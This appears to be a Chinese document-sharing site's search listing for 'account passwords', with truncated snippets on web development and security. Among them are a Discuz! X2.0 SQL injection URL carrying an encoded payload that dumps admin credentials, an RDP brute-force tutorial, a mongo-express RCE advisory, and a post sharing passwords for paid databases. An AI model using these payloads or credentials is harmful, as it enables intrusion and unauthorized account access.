账号密码
Web页面执行shell命令
Web页⾯执⾏shell命令本⽂以apache为web服务器为例1. 安装apache服务yum -y install httpd2. 启动apachesystemctl restart httpd3. 创建shell脚本cd /var/www/cgi-bin/vim shell#!/bin/shalias urldecode='sed "s@+@ @g;s@%@\\\\x@g" | xargs...
Discuz! X2.0 SQL注入漏洞 EXP
DZ2.0直接暴管理账号密码（默认前缀的情况下）/forum.php?mod=attachment&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsZ3JvdXBfY29uY2F0KHVzZXJuYW1lLDB4N0MzMjc0NzQ3QyxwYXNzd29yZCkgZnJvbSBwcmVfY29tbW9uX21lbW...
389爆破服务器全过程 图解 个人翻译英文 非常详细
3389是一个远程桌面的端口，很多人为了更方便管理服务器，更新服务器上的资源等，经常会开启3389端口，用nastat -an命令可以查看该端口的开启。对于一个账户如果账号密码过于弱很容易被爆破到，一般默认账号为Administrator，极少会是admin，而对于过于简单的密码，在3389密码字典中均可到，下面来讲解爆破3389服务器，获得一台服务器的全过程。 工具：...
Python3利用requests库进行post携带账号密码请求数据的方法
Python3利⽤requests库进⾏post携带账号密码请求数据的⽅法如下所⽰：import urllib,json,requestsurl = '127.0.0.1:8000/account/login'headers = {}data = {'username':'asd','pwd':'123456$'}request = requests.post(url=url, da...
Jenkins集成robot自动化,如何远程执行windows脚本
Jenkins集成robot⾃动化，如何远程执⾏windows脚本jenkins如何集成robot⾃动化，在前⾯的章节已经讲过，这⾥就不在详细讲述配置，本⽂主要解决部署在linux机器上的jenkins是如何执⾏远程windows机器上的robot脚本。⼤家知道，两台机器要传输⽂件，⾸先保证⽹络是通的，之后确认端⼝是开的，ssh-22，ftp-21，再选择合适的⼯具来建⽴连接，如xshell，Se...
各大数据库账号密码——绝密!
核实过了，大部分是收费网站，共享造福你我他，请不要改密码哈~~~另外个别收费网站的账号密码有过期的了，大家自己试一下吧~ 关键词： 学术资料 学术资料账号密码全集汇总 希望能对大家有帮助，共享...springerlink密码 www.springerlink/...
mongo-express远程代码执行漏洞(CVE-2019-10758)
mongo-express远程代码执⾏漏洞（CVE-2019-10758）0x01 简介mongo-express是⼀款mongodb的第三⽅Web界⾯，使⽤node和express开发。如果攻击者可以成功登录，或者⽬标服务器没有修改默认的账号密码（admin:pass），则可以执⾏任意node.js代码。0x02 影响版本mongo-express 0.53.0前提条件：知道Mongo的账号密码...
java生成token实例_Java大白话—–Token入门案例(附demo下载)
java⽣成token实例_Java⼤⽩话—–Token⼊门案例（附demo下载）Java⼤⽩话—–Token⼊门案例Token⼊门案例今天为⼤家介绍⼀下Token的基本原理(以最直⽩的⽅式)两⽚同样的钥匙这是⼀家神奇的酒店，所有的客房居然都没有钥匙孔，可是每间房们前都做着⼀位钥匙匠。这种⾰命性的酒店安全管理⽅式是这样的:客⼈来到⼤厅，告诉前台他的账号与密码，前台给了他⼀把钥匙他拿着钥匙来到房门前...
maven项目打包上传到私有仓库
maven项⽬打包上传到私有仓库⽬录1. 背景2. 步骤2.1 修改l2.2 命令执⾏2.3 成功后的依赖3. 扩展1. 背景maven打包本地jar包 最近有些⾃⼰制作的⼯具包，需要单独抽取出来之后，在打包的时候，同时上传到⾃⼰的maven私服仓库，供别⼈引⽤，并且还能够引⽤的时候看到源码。但是，在上传的过程中总是失败不成功，特别上⽕。最后总算成功，记录下步骤，希望能够帮...
web网站、系统使用正确的账号密码登录不进去
web⽹站、系统使⽤正确的账号密码登录不进去web端登录可以⽤控制变量法排除故障原因：不通的电脑，相同浏览器，及版本相同电脑，不通的浏览器或不通浏览器版本检查项包括但不限于账号密码，可以调出浏览器开发者⼯具（chrome F12 或 Ctrl+Shift+I），选择 Net w ork 项进⾏监测登录请求是否发出。客户端未加密的，可以直接看到账号密码，确认是否正确。还有⼀种情况是，客户端 Cook...
token过期时web前端如何自动刷新token
token过期时web前端如何⾃动刷新token以token处理登录的web系统，⼀般会有两个token：access-token和refresh-token。node.js中，⼀般⽤jsonwebtoken这个模块。access-token，是⽤户输⼊登录的账号密码，后台去db验证然后颁发的，它⼀般记录在浏览器的cookie中，并在浏览器关闭时⾃动删除，页⾯访问或ajax访问会⾃动通过cooki...
rem和em的区别
rem和em的区别⼀、 rem的特点：1、rem的⼤⼩是根据html根⽬录下的字体⼤⼩进⾏计算的。2、当我们改变根⽬录下的字体⼤⼩的时候，下⾯字体都改变。3、rem不仅可以设置字体的⼤⼩，也可以设置元素宽、⾼等属性。⼆、em的特点：1、字体⼤⼩是根据⽗元素字体⼤⼩设置的。三、代码部分1、rem的代码。<!DOCTYPE html><html><head lang="e...
